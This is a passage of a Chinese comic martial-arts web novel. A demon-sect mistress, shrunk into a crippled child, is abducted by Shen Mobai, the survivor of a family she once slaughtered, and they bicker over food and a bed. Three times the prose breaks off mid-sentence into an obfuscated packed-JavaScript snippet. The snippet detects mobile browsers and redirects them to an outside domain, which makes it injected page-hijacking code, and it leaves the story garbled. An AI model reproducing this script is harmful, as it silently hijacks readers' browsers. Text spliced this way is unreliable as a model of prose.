好吧,本座自暴自弃了。 结果,斗笠男突然停了下来! 他回头,微微仰着下巴,似笑非笑得用眼角斜睨着我。 我心中顿时燃起了一汪求生的小火苗,不管三七二十一,打了鸡血一般嚎叫,“我会唱歌,能跳舞,擅长讲段子!洗衣做饭看孩子,诗词歌赋琴棋书画样样精通!我保证你捡我回去,物有所值!” 威逼咱没本事,利诱勉强试试。 斗笠男沉默了两三秒,似乎在衡量我的价值。 然后他勒马回头,我大喜。 斗笠男停在笼子外头,打量了我一圈,然后贱贱一笑,甚没良心得调戏我这个残疾的苦逼少女,“啧,我一个人行走江湖也挺无聊,要说解闷的,还真缺那么一个。小妞,讲个段子给爷听听,讲得好,爷高兴了,就带上你。” 笑话? 于是,我讲了一个我指着它混了二十年的冷笑话。 “咳咳。从前,有一个叫阿爽的人。有一天,他死了。于是,阿爽的家人悲痛欲绝,就在他的坟前哭喊:‘爽啊,爽啊,爽……’路人经过,不明所以,奇之,遂问,‘是什么事啊?这么爽?’家人一听,哭喊得更卖力,‘爽啊,爽啊!爽死了……’” 斗笠男听完,眼睛一眯,嘴角微微一扬,露出一个若有所思的目光。 我挤吧着玻璃球一样在阳光底下闪闪发光的大眼睛,小心翼翼问道,“爷,您还满意不?” 然后,我看到他唰得一声抽出剑来,气势如虹一剑劈下来,干净利落把铁笼子削成两半,然后像抱小猫一样一只手把我捞到了马上。 我默默在心中叹——阿爽,我果然指着你活了。 女孩的身体小小的,又轻又软,但是有一点小小的异样。斗笠男察觉到了什么,抓起我的胳膊撩开衣袖。 我顿时觉得人生又一片黑暗了。 这人渣男该不会发现我身体残疾,不能洗衣做饭带孩子,所以打算把我从马上扔下去吧? 我弱弱得看着他,无声恳求:算我求你,你要扔也找个人员密集的地方扔!扔在这种荒郊野岭,难道我要拖着残疾的身体爬到城里去吗?这未免也太限制级重口味了吧? 斗笠男看了看我手腕上刀口。刀口平整,下手却极其很辣。伤势只有草草的处理,皮肉外翻样子十分可怕,然而伤口四周却很干净,没有任何感染恶化的迹象。 斗笠男没把我扔下马,放下了我的手腕。 我瞪圆了眼睛看他,有点惊讶。 看来,这个明明出手就能救人性命,却要等到人都死绝了才出手的斗笠男,也没那么渣啊? “你筋脉被谁断的?” 我抬头,纯良无辜得看着他,“一个很漂亮的哥哥。” 斗笠男噎了瞬间。大概是没想到这年头的小孩儿已经以貌取人到如此是非不分丧尽天良的程度。 忽然,斗笠男轻浮得挑起我的下巴,用哄小孩的口气问,“那个漂亮哥哥有我好看么?” 我看着他近在咫尺的脸,继续挤吧眼睛。 我说这位少侠,虽然你的确长得很对本座胃口,但是你不觉得这种问题略过是厚颜无耻了吗?殊不知你自己现在很是危险,若放任此种自恋倾向任其发展,这位同志,你一定会走上龙阳之癖的不归路! 于是,我怀着治病救人的心,用一个小萝莉应该有的表情笑了,笑得天真无邪阳光灿烂。 “大!叔!你比那个哥哥还好看呢,你是我见过的叔叔!伯伯!爷爷里头,最——好看的!” 斗笠男背后杀气陡然盛了一下,然而随即他又笑了,白晃晃的牙齿闪得我头晕眼花。 “小妞,你叫什么?” 我说这位少侠,有管小朋友叫小妞的吗?你这态度也太不尊重了。 我看了他一眼,撅嘴。 “唔……”白玉蛟的名字是个禁忌,要换什么名字我一时半会还没想好。于是我以退为进,很萝莉很撒娇得问,“这位大爷,您尊姓大名啊?” “沈墨白。” 沈墨白?我心里突然咯噔一声。这名字怎么有点耳熟呢?怎么跟印象里某个曾经被我一刀砍死的人很像呢? 姓沈的…… 我在沈墨白怀里抬起头,从这个角度刚好看到他线条有力的下巴,还有下巴上有胡渣。顺着脖子往下看,从胸一直看到腰,然后,我视线捕捉到了他腰上别着的一根看起来很不吉利的玉笛,那玉笛身上有一条狰狞的裂痕。 一看到那破笛子,我一下子把什么都想起来了。 大约十一二年前,我曾经亲自率自己的暗卫军团,一夜之间屠灭了洛阳的沈家堡六十多口人。那次屠杀,成功的让我在江湖上扬名立万,让我成为了人人唾弃的妖女。那一夜的屠杀毫无征兆,镜花宫的妖人们如同鬼魅一般来无影去无踪。前一天还平静安乐的沈家堡,第二天却成了一个寂静的坟场,血流成河,尸横遍野,鸡狗猪都没留下活口。 当晚,沈家堡的老爷子颤颤巍巍捧着这根玉笛,跪在地上说当年的事是他一时糊涂,求我至少放过他的小儿子。那小子当时也就十几岁,由于年代久远,我已经想不起来那孩子长什么样了。 我当时笑得很张狂,我笑说:当年什么事?本座记性不怎么好,不太记得了,你一根破笛子我有什么稀罕的?你儿子要是个美男,送给我我说不定饶他一命。 然后本妖人一剑劈下去,剑锋都卷了,那笛子竟然没碎,只是被我砍出了一道深痕。 我当时就怒了,劈不碎一根烂笛子对我来说根本就是个奇耻大辱。所以我当场暴走,凶残得当着老爷子的面将他的小儿子一刀劈死,然后一个一个得杀光他全家老少,最后才示众一般把他吊死在了房梁上。 后来待我气消了,属下才告诉我,原来那根笛子是他们沈家的传家宝,由一块千年寒玉制成,价值连城,据说其音色奇绝,是天下乐器皆无可比拟的一件神物。 后来,沈家就从江湖上销声匿迹了。寒玉笛也不知所踪。 我隐约记得,被我乱刀砍死的那位沈家小公子,就叫沈墨白。 我确定一定以及肯定,我必定砍死他了。怎么又活了呢?难道他就像话本小说里的主人公似的,心脏长在右边?动脉走偏了?大难不死卷土重来前来报复? 为什么这么巧!偏偏又让我在这里碰上他呢?这难道就是所谓的“冤家路窄,见面不是死磕就是一见钟情”的千年定律? 不,这次应该不是什么倒霉催的定律……这只能说明,我这个恶棍之前作恶多端杀人无数,走在江湖里,一个牌匾掉下来,砸死十个九个都是我仇人…… 我突然庆幸自己现在是七岁的模样,不然我白玉蛟落在这些仇人手里,必然免不了求生不得求死不能被虐待致死的悲催下场。 沈墨白看我神色严肃,俩眼直勾勾盯着他,于是好笑道,“你想什么呢?” “其实……本、呃,本人正在想名字。” “噢?”沈墨白继续笑,眼睛弯弯,像只狐狸,不知道这男人在打什么算盘。 我咳嗽了一声,“想必叔叔你也看得出,我背景复杂身世凄惨,背负家仇国恨、血海深仇,如果我真实身份暴露,肯定会死无葬身之地。所以为了我自己的人身安全,我要隐姓埋名。” 我难得说了句大实话,然而听完,沈墨白笑得连牙齿都露了出来,牙齿白白齐齐的,在阳光下面闪闪发光。 “那你倒是编出来了没有?” “既然你叫沈墨白,是大白,那我就叫小白吧。”本座干脆利落一锤定音。 “遇见谁,你就跟谁姓?年纪小小,没想到这么没节操。” 这人渣男舌头倒是挺毒,不过本座的舌头也不是吃素的。 我一不小心露出一个与年龄万分不符的御姐笑容来,“节操这种东西,既然你们男人没有,凭什么我们女人就要有?” 沈墨白似乎有点惊讶,若有所思得笑着蹙了一下眉,自言自语似地低吟了一句,“有意思。” 当魔宫宫主当了太久,我现在甚是不习惯与人正常对话。 平日里,靠我吃饭的人都是趴在我脚底下跟我讲话的。我夸他们办事办得好,他们就要担心我会嫉妒他们功高盖主,就拼命推脱说办得不好不好一点都不好,拼命说自己什么都没干都是我英明伟大领导有方。我要是嫌弃他们事没办好,他们就更是吓得魂飞魄散,非得以死明志一头撞死在我的踩脚凳上,拦都拦不住。就算是顾染织在我面前说话也都小心翼翼,惜字如金。多说一个字都怕言多必失,招来杀身之祸。 我感同身受,总算明白为毛从古至今的魔教教主,不是像任我行那一类的偏执狂就是像东方不败那样的痴情郎。 一切皆因寂寞啊。 大家皆是“不是在寂寞中恋爱,就是在寂寞中变态”。而我,则是毅然决然踏上了后者的不归路。 现在,没了魔教教主的头衔,我侧坐在沈墨白的马上,蜷缩着身体窝在他怀里,伴随着哒哒的马蹄声,跟他有一搭没一搭胡侃,忽略掉手痛脚痛,倒还挺怡然自得的。 “沈叔叔,你这是要带我去哪里啊?” “找个地方把你卖了呀。”沈渣攻笑嘻嘻如是说,一条大狼尾巴在屁股后面甩来甩去。 我顺着他的话撒娇道,“那沈叔叔你不如先把我手脚治好了,这样还能多值点钱嘛,残废不好卖的。” “我只怕到时候我血本无归。懂什么叫血本无归吧?” 我说你也太低估我的文学素养了。 我嘻嘻一笑,埋头往沈墨白怀里钻,一边吃豆腐一边继续发嗲,“如果那样,我就以身抵债嘛,给大叔你做小,伺候你一辈子,整天给你洗衣做饭带孩子。” 沈墨白笑。他一笑,腹部微微轻微的收紧我都感觉得清清楚楚。我顿时拱得更欢,肌肉啊肌肉,流线型美好的肌肉我最喜欢了。 “小妞你还真看上我了?大叔我可不是什么好人,你没看到我刚才眼睛都没眨一下就杀了那么多人吗?” “哎呀,不就是杀几个人嘛,算什么大事。”我口气轻巧,说话时一抬眼,目光刚好与他的一错而过。 沈墨白定定看了我一会,忽然有几分认真得问,“小妞,你实话告诉叔叔,你是不是镜花宫的人?” “不说不说,”我装傻,头摇得像拨浪鼓,“万一告诉了你,你把我送回去怎么办?” 沈墨白略一蹙眉,若有所思的看着我,接着似乎突然想到了什么有趣的假设。 他忽然抬手,捏着我的下巴,眯起眼睛上上下下盯着我的脸瞅了又瞅,“你知不知道……自己跟一个很可怕的阿姨长得有六七分的像?” 嗯?! 我眼睛顿时瞪大了一圈。沈墨白这厮!不会是认出我来了吧!这也不无可能,毕竟我是血洗他满门的仇人,不是有句话说“化成灰也认识你”,我这只是缩小了一圈,难保不被认出来。 沈墨白看到我有点僵硬的表情,忽然笑道,“你……该不会是白玉蛟的私生女吧?” 呃?我呆了呆,但转念想,果然这种假设才是正常人应该有的思维,谁会想到是返老还童了…… “如果真的是,你被弄成这样扔出来,该不会是镜花宫内出了什么乱子?难道……白玉蛟闭关闭出问题来了?走火入魔?或者是……镜花宫内后院失火,有人借她闭关之机发动了叛乱?” 我张口结舌。这家伙虽然是信口胡掰,整件事竟然被他掰对了七七八八。我是该说这人想象力太丰富?还是该说他动物第六感太敏锐? 话说这种敏锐感,还真是让人讨厌啊…… 我顿时产生了一种快点离他远点的想法。 然而还没等我把想法付诸行动,大尾巴狼就呲出了森森白牙,“如果你真的是镜花宫的小魔头,那你可就值钱了。” 我弱弱地看了他一眼,身体本能往后退,“大爷你搞错了,我不是!我真的不是!喂,喂!你想干嘛!放手!人渣放开我!……” 我拼命抵抗,然而,我一个弱小的残疾人当然敌不过身强力壮的敌人,沈墨白一只手像捏母鸡一样捏住我的脖子,另一只手从怀里掏出一个东西,“咔”得一声,卡在了我的脖子上。 一个冰冰凉凉的东西,很沉,质地感觉起来像那传说中最坚不可摧的——乌金?! “唔!这是什么!”我难受得扭动脖子,当然是徒劳无益。 沈墨白重新牵起缰绳,一只手按着我的脑袋,把我固定在马上防止我掉下去,“这是天机山庄打制的最精巧的一种锁具,不仅外型上看就如同精致的饰品,而且机关非常精密。这种锁,每日到一定时刻就会自动收紧一分,除非有钥匙帮你松开锁,否则一日一日之后,这个锁就会越收越紧,勒进皮肉,割断血管,最后让你身首异处。” 嗯?居然还有这么卑鄙的道具?为什么我从来都没见过这种高级货! 我磨牙。天机山庄是吧?行!好东西竟然藏着掖着,你给我等着,回头就灭了你…… 沈墨白看我咬牙切齿瞪着他,笑得更加开心,“小妞,你应该觉得荣幸,这种锁世上也不过两三把,可金贵得很呢。” 我翻白眼。荣幸你个大头鬼,这货能套在我白玉蛟脖子上它才三生有幸。 事已至此,沈墨白一时半会儿也不会杀我,我也懒得再讨好他,于是干脆撕破脸,对他冷冷狠狠呲牙咧嘴挤出几个字,“姓沈的!你给我记住!” 于是,我悲催得从无家可归的残疾幼童,又沦落成了惨遭绑架的肉票。 屁股底下那匹黑马不愧是镜花宫养得神兽,跑起来那叫一个身轻如燕,傍晚的时候,我们就到了山脚下的一座小城。 说是小城,其实顶多算个城乡结合部,一眼望过去一片稀稀落落的土坯房加小矮墙。 不过,城虽然破,但是却是个聚落的集市,因此热闹得很。 一条小窄街穿过整个镇子,两边是二层高的木制吊脚楼,油漆经过岁月被剥蚀得很严重,但是丝毫不影响到里头的老板热络得招揽客人。许多赶着牛车挑着担子的贩夫走卒都挤在小街上热闹得吆喝,把小街挤得水泄不通。 沈墨白扛着我,走进一家小馆子里,然后“哐”得一声把我放在桌子上。那气势仿佛我是什么大规模杀伤性武器,而他是来打劫的。 “老板娘,两碗阳春面!”沈墨白一坐下,就大大咧咧把脏兮兮的袖子给卷高,露出一截跟衣服不怎么相称的洁净的小臂来。 “好嘞!客观您稍等!”老板应了一声,就转头回厨房抄面条去了。 我一路上都在跟这人渣怄气,气哼哼不理他,此时更是用尽力气瞪着他,妄图用我凛冽的目光在他脸上射出两个窟窿来。 本座N天粒米未进饿得头昏眼花经血不足,你就弄碗面条就想打发我?! 几秒钟之后,两大碗热气腾腾的面条被推上桌子,一碗白瓷碗里装着清汤白面条上飘上几根屈指可数的菜叶子。 沈人渣悠然自得操起筷子,一边哼着小曲,一边“唰唰唰”几下,眼疾手快把自己碗里那几根菜叶子都捞干净了。 正在我考虑我这个没手没脚的要用什么吃面条的时候,沈墨白那个人渣看我没动,竟然以迅雷不及掩耳之势,又刷刷两下把我碗里的那点绿色也给横扫了! 我震惊得半张着嘴盯着沈墨白和沈墨白牙齿间那本来属于我绿色的青菜叶,一时,脑袋里一片空白!! “你怎么不吃?”沈墨白边嚼边眨眨眼睛,一脸无辜说着,接着又把那双万恶的筷子伸向了我的饭碗! 姓沈的!你你你,你太下流了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349840|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我都两天没吃饭了饿得都快死了!你喂我白水面条我忍了!你捞我的菜叶子我也忍了!现在你竟然还敢抢我碗里的食儿! 于是。在极端的愤怒和从未有过的委屈之下,本座为了一碗面条,终于华丽丽的暴走了。只见,我突然如同脱缰的野狗一般,一头撞开了沈墨白的筷子,奋不顾身扑向那两碗阳春面!紧接着,“噗噗”两声!分别在两个碗里吐了一口口水!! 沈墨白呆呆的望着我,手里的筷子“吧嗒”一声掉在了桌子上。 看着沈墨白那张呆若木鸡的脸,我情不自禁仰天长笑,笑得整个小饭馆里顿时鸦雀无声。 沈墨白我让你吃我让你吃!啊哈哈!跟老娘比,你还嫩的远呢!论天下流氓,舍我其谁!啊哈哈哈哈…… 最后,那两碗面果然都归我了。 我趴在桌子上,撅着屁股,把脸整个埋在面碗里,像小猫小狗一样哼哧哼哧得吃。刚开始吃还好,可是面条越少就越难捞,我吃得整张脸都拱进了面条汤里,而且还经常被面条汤给呛到。边吃边懊恼,老娘在世上混了四五十年,混到这份上连个啮齿类动物都不如,好歹它们还有前爪可以用,我却不得不拼命伸长了舌头。 旁边沈墨白手里攥着个酱蹄子在啃,边啃边出神,看着我的眼神有几分复杂。 “你看这当爹的也太狠心了……” “就是就是,自己闺女残成那样,不给肉吃就算了,也不去帮把手……” 我正吃着,忽然耳朵一竖,听到角落里有大妈们切切察察的议论声。 我用眼角瞥沈墨白。然后嘴角翘翘滑过一抹腹黑的冷笑。 哼,我让你不给我吃肉…… 我酝酿了一瞬间,调整好面部肌肉,露出一个楚楚可怜的表情抬起头,循着声音看过去。抬头时,额头上鼻尖上犹自还沾着几根面条,腮帮上沾着油腻腻的面条汤,凄惨得无以复加。 大妈们都是以生产人类作为职业的普通村妇,平时自己家就养了一帮这么大的小娃娃,一瞧见这小丫头生得肤如凝脂,眉墨唇粉,一双天真无邪的大眼睛忽闪忽闪的,像黑珍珠似地透亮,整个人就像个巧夺天工的玩偶一般精巧,顿时觉得那个当爹的实在太黑心太没人性,太该杀千刀了! 于是两位大妈迅速行动起来,伙同着整个饭馆里的人,都开始对着沈墨白指指点点念念有词。 我看向沈墨白,笑而不语。 沈墨白终究骨子里是个极傲慢的人,被人民群众用目光鄙视了一会儿,终于不情不愿地把目光投向我。 我看了看碗,又看了看他,继续笑而不语。 沈墨白压低声音说,“我沈墨白这辈子从没伺候过别人,你别指望我喂你。” 我耸耸肩,然后神色一变,神情怨艾得低下头,慢慢又凑向那两碗被我吃得不成面形的阳春面,快要碰到碗的时候,突然把头转向正围观这虐待儿童一幕的群众们,脸上挂着亮晶晶的两滴大泪珠。 于是不知真相的围观群众更加群情激奋。 “老板!”沈墨白一把把面碗从我鼻子下面夺走,压着怒气,皮笑肉不笑瞥了我一眼,“来个烧饼!” 我赶紧接话,“来三个!多放点葱花!顺便加三个鸡蛋!” ··· 傍晚时分我们一大一小找了间客栈开房。 这小破城里也就这么一间客栈,房间规格很次,桌椅床柜看上去都比我还老上一截,然而我和沈墨白的目光同时聚焦在床上,然后万分默契得阴森森对望了一眼。 床虽然破了点,但总比睡地板好多了。这几日折腾下来,实在累得快散了,因此对那张床,老娘志在必得! 不过貌似沈人渣完全没有发扬风格尊老爱幼的想法,突然间,沈墨白毫不客气得想把我从背上揪下来,我一下反应过来,宁死不屈死死缠住他的脖子。 结果一大一小在门口缠斗了半天,两个人都气喘吁吁,我被他揪得衣衫凌乱,他被我挠得蓬头垢面。 “小鬼,给我下来。”沈墨白一字一句慢慢咬字道。 “沈墨白!你也太狼心狗肺了吧!!”我抓狂!用狼和狗来形容他实在是太抬举这人渣了! 被我像八爪鱼一样抱住脑袋,进而五官被我蹂躏得扭曲变形的沈墨白也怒得不轻,压低了声音说,“我数到三,放开我的脸,否则……” 沈墨白语气一向轻佻,突然被他压低声音那么一恐吓,竟然连我都感觉到了几分畏惧。我犹豫了一下,忌惮这人渣抽剑一刀把我胳膊腿儿也给砍了,只能悻悻松开。 这次沈墨白貌似是真被我惹恼了,这家伙非常暴力得拎着我的后领,把我像拎小猫一样拎到房间里,一脚踢上门,一甩手把我扔桌子上。 摔得我在桌子上滚了两圈才停住,晕的七荤八素的。 “咳咳,”我柔弱得倒在桌子上,衣衫凌乱面色潮红,气喘吁吁道,“沈墨白!你好歹是个成年人!就不能用点成年人的方法解决问题么?” 沈墨白用目光从头到脚把我鄙视了一圈,哼了一声,“行啊,你倒是说说,怎么个‘成人’法?” 我蠕动了几下坐起来,把腿一盘,胳膊肘撑在大腿上,坐得还像模像样的。 “呐,”我对他扬了下下巴,颇有几分挑衅的意思,“我们来丢铜板来决定谁来睡床。” “噢?”沈墨白尾音阴阳怪气的,他冷冷扬了扬嘴角,眉梢一挑,想都没想就答应了,“好啊。” “你可别反悔,”我也学着他的表情,狐狸一般对着他冷笑,“那你得让我先选。” “随你怎么选。” 我笑得更加阴险,“听好了姓沈的:字面我睡床,图面儿你睡地板,明白了吗?明白了你就丢吧。” 哼!我露出小人得志的得意笑容。 我让你丢!你丢啊!丢到死你也丢不到!啊哈哈…… 沈墨白听完,表情空白了一秒。 然后出乎我意料的是,这家伙完全没有露被坑之后应有的愤怒,反而眼睛一眯,轻声笑道,“小妞,你今天乖乖就给爷睡桌子吧。” 嗯?!我愣了一下,看到姓沈的那表情,本座顿时有种不详的感觉。 就在我发愣的时候,沈墨白手指一曲,一枚铜钱从他指尖“嗖”得一声射出,带着一阵劲风,“当”得一声稳稳直直埋进我手边的木桌子里! 我瞪着手边上那枚整个都嵌进桌子里的硬币,目!瞪!口!呆! “中间,不正不反,我赢了。”沈墨白扬眉,那气场一下从乌云密布变成了万里晴空加礼炮齐鸣。 他走到我旁边,优雅抬起手指放在我脑门儿前,在我还没反应过来的时候,“咚”得一声,手指一弹,敲在我的脑门上。 我被弹得整个脑袋向后一仰,“嗷”得惨叫一声,再一次柔弱得倒在了桌子上。 “沈、沈墨白……”我眼眶迅速泛红,“你、你给我记住!!” 不行!我要忍住!! 我用力吸了吸鼻子,霸气得把又有破堤而出的眼泪鼻涕给吸回去。 “时间不早了,我先睡了。”沈墨白恢复了一贯吊儿郎当的样子,一边哼着没调子的小曲,一边动作慵懒地脱衣服,向着床走去。 我有怒不能发,憋得血气上涌,面红耳赤。 我磨牙,狠狠地磨! 我竟然下了个套自己钻进去了!擦! 看沈墨白一副市井流氓小无赖的样,怎么就忘了他是个一等一的高手呢!身体缩小了难道我大脑也缩小了,相对智商也下降了?!嗷!白玉蛟你这个少脑子的笨蛋!嗷!沈墨白你这个杀千刀的人渣! 沈墨白吹了灯,衣服一脱,倒头就睡。说起来,古代人的夜生活还真是贫乏。 我在硬邦邦的桌子上躺了一会儿,终于忍不住忸忸怩怩道,“喂,我说你至少分我一床被子啊!” 床上窸窸窣窣动了一会儿,然后我看到黑暗中一个东西飞过来,一下蒙住了我的头脸。把那东西扯起来摸了几下,闻了闻,我顿时又火冒三丈。 “沈墨白!谁要你的臭衣服!”语落,我又作势要给他扔回去,但是随即转念又想,报复敌人的前提是绝对不能损害自己的利益,就算是件臭袍子也比没有好吧? 于是我扯着那件衣服纠结了一下,最后还是把那破衣服给垫在了桌子上,故意在上面滚来滚去,把它给揉皱得七零八落!甚至还冒出了干脆在上面嘘嘘的猥琐念头。 入睡之前,我被硬邦邦的桌子铬得腰疼。幽怨地念叨,早知当初就该学学小龙女,那么不挑床,扯根绳也能睡……接着转念接着念叨,天煞的,我现在这副残样到底要怎么混下去啊?恢复成原来那样是不指望了,手脚还有没有救还是个未知数,难道我必须学裘千尺练个用嘴巴发射枣核丁的特技?那若是我碰上数以百计的敌人,嘴里得塞多少个枣子啊?…… 然后……然后我就这么漫无边际痴心妄想胡思乱想得睡着了。 5. 一天不掐闲得慌 第二天一大早,我就跟沈墨白抢被子抢醒了,确切的说,是抢沈墨白那件破衣服。 “唔……”我眼睁睁看着暖洋洋的被子被抢走,泪眼汪汪在桌子上撒泼打滚,“你、你就不能换一件穿嘛?!” 沈墨白打了个呵欠,理所应当似地说了句,“我就这一件衣服。” 啥?我呆呆盯着沈墨白的背影发呆。 这家伙边伸懒腰边晃晃悠悠走向雕花面盆架,用铜盆里的冷水悠闲得洗脸。他此时正撅着屁股对我,屁股上正好有两个巴掌大的鞋底印。 这一下我清醒了七八分,眉心一簇,眉梢一挑,开始打量这个姓沈的神秘人渣。 这家伙虽然举止轻浮却不粗俗,就算装得和市井泼皮一般,但骨子里透出来的傲气却很难藏得住,这般游手好闲总让人觉得有些违和。像他这般境界的武功,在武林后辈中绝对是拔尖的佼佼者,别说是后辈,就算把少林峨眉武当的大和尚老尼姑算进去,他武功也杀得进武林前十。 他年纪轻轻,又顶着沈家遗后的身份混江湖,看在他苦大仇深的身世和天资绝佳的份上,早就该混出名头了,然而,这人渣行走江湖却连个行李都没有,身无分文,整个一无业行乞人员的扮相,落魄至极。然而说他穷酸吧?又不尽然。他身上那把不轻易祭出来的佩剑,腰间那把破笛子,还有套在我脖子上乌金锁,却又都算得上这世间绝无仅有价值连城的宝贝。 我综合分析了一通,结果更加摸不着头脑。 姓沈的家伙到底什么来头?别是什么臭名昭著的江洋大盗、杀人狂、采花贼吧? 不过……管他是什么货色,本座才不稀罕知道。知道对方身份,目的无非只有一个——来日相逢,要么寻仇要么叙旧。 这几日相处下来,本座可一点也不想再看到沈公子这张清热解毒败火的脸了,恨不得立马跟这人渣男一拍两散,永世老死不相往来。 我正发呆,听到沈墨白漫不经心的声音飘过来。 “你想什么呢?盯着我背后看了这么久?” 嗯,在想着怎么一刀插死你! 我脸上装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈墨白似乎是没想到我竟然耍无赖,顿时暴走了,做破罐子破摔状作势要把我砸死在地上,掌柜的顿时被震惊了,胡子头发都炸毛了,扑过来一把把沈墨白的大腿团团给抱住。 我被沈墨白举在空中,嘶声裂肺得哭喊,“爹啊!” 底下掌柜大伯抱着沈墨白的腿,同样在哭喊,“不要啊!” 啧,这场景有点诡异的违和呢。 ··· 镜花宫的总坛设在西蜀剑阁。“剑阁峥嵘而崔嵬,一夫当关,万夫莫开”。 总坛挑在那里的确很符合魔教风格,蜀北屏障、两川咽喉,守剑门天险,易守难攻,因此几百年下来,镜花宫稳居蜀中,俯视中原武林,数次被围,却从未被成功攻破。 冷不丁提到这里,是因为我和沈墨白在九曲十八弯山路上绕了十天半个月,终于下了山路,在官道尽头看到了座颇为壮观的城——锦官城。 一个城能被“锦”字形容,可见其风致的繁华锦绣。只是将“锦官”二字在口中玩味,便仿佛见白露沾花清露欲垂的景色。 锦官城就在剑阁脚底下,剑阁虽然安全,但是荒山老林人烟稀少,无聊得很,哪有锦官城来的繁华有趣?其实,头几年当教主时,我是曾想过干脆拿下锦官城捞个城主当当。 尽管附近有青城山的九华派,峨眉山的尼姑派,还有藏在隐于市井的唐门,但这些门派听起来厉害,其实近些年来后继无人,只剩下个空架子,根本不足畏惧。况且,这些名门大派最善于相互猜忌,用些计策就足以捣腾得他们人仰马翻,甚至能不战而屈人之兵。 但,后来考虑到两点,我放弃了这个想法。 其一,我这人虽然经常在江湖上闹事,杀个人放个火,但说到底是个极懒极没野心的人,称霸武林一统江湖什么的劳心费力,本座真是从来没想过。 第二,芙蓉城里小吃从古起就闻名天下。从腌卤到凉拌冷食,从锅煎蜜饯到糕点汤元,从蒸煮烘烤到油酥油炸,样样都惹得人馋嘴。我就怕万一吞了锦官城之后,自己恶名在外,吓得百姓外逃,以后反而没得这些点心吃。 我正出神想着以前的事,忽然听到背后的沈墨白似乎自言自语一般说道,“这座锦官城就在白玉蛟的眼皮底下,竟然安然无恙这么多年。只是祸福难测,若是哪天,白玉蛟她一个不高兴,千万铁骑碾过去,啧啧,岂不是可怜了这里的三千里芙蓉花。” 我嗤之以鼻得哼了一声。本座的想念,岂是你这种凡夫俗子能揣测的。 沈墨白居高临下瞥了我一眼,浅笑,“莫非,她一直缩在剑阁里,是怕了‘玉宇琼楼’?” 我抬眸看向他。 我盯着他的眼睛,看到他眸子里倒映着的那个幼嫩的女孩,在一瞬间散发出了令人胆寒的煞气。 浅风滚地,在官道上卷起浅浅一层砂石飞灰。 转瞬,我垂眸,冷冷哼了一声,摇了摇头,笑了。 这个江湖,没什么人是我真正放在眼里的。新人迎来旧人弃,掌上莲花眼中刺。走了一批老的,无论敌人,朋友,属下还是陌生人,总会又有新的出现,人来人往,并没什么不同。这个世上,也没有什么事是我真正非做不可的。我本就是个混日子的,活一天算一天,逍遥自在,无所求也就无所惑。 但,十年前,在我继任教主那一日,曾铩血为誓,此生必用我这双手,亲手血洗玉宇琼楼,杀光,烧光,将其夷为一片废土,把它从这个江湖上彻底抹杀,不留一丝痕迹。 因为玉宇琼楼欠我。 欠了我一条人命。 十年前,我师傅冷将息只身一人前往玉宇琼楼。 那一日我们在剑门关外相别,不想,竟是成了诀别。 “小魔头,你在生什么气?” 背后沈墨白俯下身来,笑嘻嘻抱住我,一只手抬着我的脖子让我仰起下巴。 他黑色的发丝从肩头滑落下来,骚在我的皮肤上,凉凉痒痒的。 我哼了一声,对他露出一抹有点倨傲的笑容,“生气?从何说起?” “哦?”沈墨白露出颇为感兴趣的神色,扬眉道,“你是在替白玉蛟愤愤不平?” 我摇摇头,转而嘻嘻一笑,“我一个残疾的小丫头片子怎么能明白高高在上的武林大魔头的想法呢?不过我听说那大魔头最爱你这种类型的美男,你要是那么好奇,不如以色诱之,做她枕边之人,近水楼台先得月嘛。” 我让沈墨白去做男宠,谁知他听到这里非但没生气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349842|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,反而眉梢一簇,肩膀一耸,哀哀叹了口气。 “其实,我本来就是这样打算了。” 我一愣。 “你还记得‘青旅’那帮人吗?其实他们就是舟曲的一个小门派,专门想送上‘贡品’讨好一下白玉蛟,顺便投靠镜花宫得魔教的荫蔽。没想到,镜花宫之人行事诡秘,那些倒霉家伙不明不白,就被砍得一个不剩了。害得本大爷不得不打道回府,另做打算。顺便,还捡了你这么个小魔头。” 我吸了口气, 哦!原来如此! 我就说嘛,一大帮人举着小旗儿到镜花宫地界来旅游也太脑残了,原来是来示好的。 等等,那沈墨白……不会就是贡品吧?再等等,那沈墨白混进镜花宫想干嘛? “你要去报仇?”我一个没忍住,脱口而出。说完我就有种想要掉舌头的冲动。 沈墨白的表情,顿时更加戏剧化了,那眼睛,一瞬间我甚至都看到里头闪过一抹精光。 “你知道我是谁?” 我支支吾吾,“不,不就是沈家的遗后嘛。你们沈家的事那么有名,是个人都知道好不好?” “你不觉得,你一个六七岁的小丫头,知道得,也稍微有点太多了吗?”沈墨白继续笑,一边笑一边慢慢凑近我。他眼睛弯弯的,近距离看过去睫毛很密很黑,一眨都能煽起风来。 他嘴角的弧度很魅惑,我目光在他的眼睛和薄唇之间游移。 唔……这个距离……有点危险啊…… “嗯?”沈墨白笑着看我,目光一瞬间刺进我眼底,吓得我一激灵。 于是,我“嗷”一声,咬住了他的鼻子。 